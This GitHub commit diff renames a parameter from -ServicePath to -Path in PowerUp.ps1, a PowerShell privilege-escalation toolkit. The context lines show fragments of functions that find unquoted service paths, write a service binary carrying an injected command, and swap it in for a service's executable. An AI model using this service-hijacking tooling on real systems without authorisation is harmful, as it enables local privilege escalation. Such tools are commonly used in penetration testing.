Skip to content

Commit 5d7fe6b

Browse files
committed
Corrected -Path parameter in Write-ServiceBinary
1 parent b6306a0 commit 5d7fe6b

File tree

1 file changed

+6
-6
lines changed

1 file changed

+6
-6
lines changed

Privesc/PowerUp.ps1

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1458,7 +1458,7 @@ function Get-ServiceUnquoted {
14581458
$Out | Add-Member Noteproperty 'Path' $Service.pathname
14591459
$Out | Add-Member Noteproperty 'ModifiablePath' $_
14601460
$Out | Add-Member Noteproperty 'StartName' $Service.startname
1461-
$Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -ServicePath <HijackPath>"
1461+
$Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -Path <HijackPath>"
14621462
$Out | Add-Member Noteproperty 'CanRestart' $CanRestart
14631463
$Out
14641464
}
@@ -1896,7 +1896,7 @@ function Write-ServiceBinary {
18961896

18971897
Custom command to execute instead of user creation.
18981898

1899-
.PARAMETER ServicePath
1899+
.PARAMETER Path
19001900

19011901
Path to write the binary out to, defaults to 'service.exe' in the local directory.
19021902

@@ -1960,7 +1960,7 @@ function Write-ServiceBinary {
19601960
$Command,
19611961

19621962
[String]
1963-
$ServicePath = "$(Convert-Path .)\service.exe"
1963+
$Path = "$(Convert-Path .)\service.exe"
19641964
)
19651965

19661966
BEGIN {
@@ -2011,11 +2011,11 @@ function Write-ServiceBinary {
20112011
$Binary[$i+2535] = $CommandBytes[$i]
20122012
}
20132013

2014-
Set-Content -Value $Binary -Encoding Byte -Path $ServicePath -Force -ErrorAction Stop
2014+
Set-Content -Value $Binary -Encoding Byte -Path $Path -Force -ErrorAction Stop
20152015

20162016
$Out = New-Object PSObject
20172017
$Out | Add-Member Noteproperty 'ServiceName' $TargetService.Name
2018-
$Out | Add-Member Noteproperty 'ServicePath' $ServicePath
2018+
$Out | Add-Member Noteproperty 'Path' $Path
20192019
$Out | Add-Member Noteproperty 'Command' $ServiceCommand
20202020
$Out
20212021
}
@@ -2176,7 +2176,7 @@ function Install-ServiceBinary {
21762176
Write-Warning "Error backing up '$ServicePath' : $_"
21772177
}
21782178

2179-
$Result = Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -ServicePath $ServicePath
2179+
$Result = Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -Path $ServicePath
21802180
$Result | Add-Member Noteproperty 'BackupPath' $BackupPath
21812181
$Result
21822182
}

0 commit comments

Comments
 (0)